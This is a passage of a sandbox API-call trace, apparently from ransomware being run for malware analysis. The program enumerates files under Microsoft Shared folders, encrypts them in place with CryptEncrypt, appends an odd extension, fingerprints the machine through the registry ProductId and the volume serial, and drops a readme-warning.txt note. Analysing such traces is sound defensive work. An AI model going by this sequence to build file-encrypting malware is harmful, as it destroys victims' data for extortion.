1 [0152.036] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xa, lpOverlapped=0x0) returned 1 [0152.038] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0152.038] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.038] GetProcessHeap () returned 0x2a0000 [0152.038] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0152.038] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0152.039] CryptDestroyKey (hKey=0x2c6420) returned 1 [0152.039] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0152.039] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0152.039] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0152.039] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0152.039] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0152.039] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0152.039] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0152.039] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.039] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.039] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x65c96, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x65c96, lpOverlapped=0x0) returned 1 [0152.046] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x65ca0, dwBufLen=0x65ca0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x65ca0) returned 1 [0152.051] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.051] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x65ca0, lpOverlapped=0x0) returned 1 [0152.052] CryptDestroyKey (hKey=0x2c6420) returned 1 [0152.052] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x65d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.052] SetEndOfFile (hFile=0x13c) returned 1 [0152.056] GetProcessHeap () returned 0x2a0000 [0152.056] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0152.056] GetProcessHeap () returned 0x2a0000 [0152.056] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.kjhslgjkjdfg")) returned 1 [0152.058] CloseHandle (hObject=0x13c) returned 1 [0152.058] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0152.058] GetProcessHeap () returned 0x2a0000 [0152.058] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0152.058] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0152.058] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0152.058] CryptDestroyKey (hKey=0x2c6420) returned 1 [0152.058] GetProcessHeap () returned 0x2a0000 [0152.058] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0152.058] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0152.058] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0152.058] CryptDestroyKey (hKey=0x2c6420) returned 1 [0152.058] GetProcessHeap () returned 0x2a0000 [0152.058] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f99c8 [0152.058] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0152.059] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f99c8, pdwDataLen=0x290eb98 | out: pbData=0x2f99c8, pdwDataLen=0x290eb98) returned 1 [0152.059] CryptDestroyKey (hKey=0x2c6420) returned 1 [0152.059] GetProcessHeap () returned 0x2a0000 [0152.059] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0152.059] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0152.059] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0152.059] CryptDestroyKey (hKey=0x2c6420) returned 1 [0152.059] GetProcessHeap () returned 0x2a0000 [0152.059] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0152.059] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0152.059] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0152.059] CryptDestroyKey (hKey=0x2c6420) returned 1 [0152.060] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0152.060] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0152.060] RegCloseKey (hKey=0x13c) returned 0x0 [0152.060] GetProcessHeap () returned 0x2a0000 [0152.060] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0152.060] GetProcessHeap () returned 0x2a0000 [0152.060] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0152.060] GetProcessHeap () returned 0x2a0000 [0152.060] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0152.060] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0152.060] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0152.060] CryptDestroyKey (hKey=0x2c6420) returned 1 [0152.060] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0152.060] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0152.061] GetProcessHeap () returned 0x2a0000 [0152.061] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0152.061] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0152.061] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0152.061] GetProcessHeap () returned 0x2a0000 [0152.061] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f9d90 [0152.061] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\readme-warning.txt") returned 79 [0152.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0152.062] WriteFile (in: hFile=0x13c, lpBuffer=0x2f9d90*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f9d90*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0152.063] CloseHandle (hObject=0x13c) returned 1 [0152.063] GetProcessHeap () returned 0x2a0000 [0152.064] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f99c8 | out: hHeap=0x2a0000) returned 1 [0152.064] GetProcessHeap () returned 0x2a0000 [0152.064] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f9d90 | out: hHeap=0x2a0000) returned 1 [0152.064] GetProcessHeap () returned 0x2a0000 [0152.064] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0152.064] GetProcessHeap () returned 0x2a0000 [0152.064] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0152.064] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0152.064] GetProcessHeap () returned 0x2a0000 [0152.064] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f9730 | out: hHeap=0x2a0000) returned 1 [0152.064] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0152.064] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0152.064] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.065] GetProcessHeap () returned 0x2a0000 [0152.065] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.065] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBA7", cAlternateFileName="")) returned 0 [0152.065] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0152.065] GetProcessHeap () returned 0x2a0000 [0152.065] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0152.066] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0152.066] GetProcessHeap () returned 0x2a0000 [0152.066] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x74) returned 0x2b9ae0 [0152.066] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0152.067] GetProcessHeap () returned 0x2a0000 [0152.067] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0152.067] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.067] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0152.067] GetProcessHeap () returned 0x2a0000 [0152.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x276) returned 0x2c7d48 [0152.067] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0152.067] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0152.067] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0152.068] GetProcessHeap () returned 0x2a0000 [0152.068] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0152.068] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0152.068] GetProcessHeap () returned 0x2a0000 [0152.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x76) returned 0x2b9ae0 [0152.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0152.068] GetProcessHeap () returned 0x2a0000 [0152.068] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0152.068] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.068] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0152.068] GetProcessHeap () returned 0x2a0000 [0152.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x278) returned 0x2c7d48 [0152.069] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0152.069] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0152.069] GetProcessHeap () returned 0x2a0000 [0152.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0152.069] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0152.069] GetProcessHeap () returned 0x2a0000 [0152.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x88) returned 0x2ed368 [0152.069] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0152.069] GetProcessHeap () returned 0x2a0000 [0152.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0152.069] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.070] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0152.070] GetProcessHeap () returned 0x2a0000 [0152.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28a) returned 0x2c7d48 [0152.070] GetProcessHeap () returned 0x2a0000 [0152.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x94) returned 0x2c7fe0 [0152.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.072] GetProcessHeap () returned 0x2a0000 [0152.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fe0 | out: hHeap=0x2a0000) returned 1 [0152.072] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, 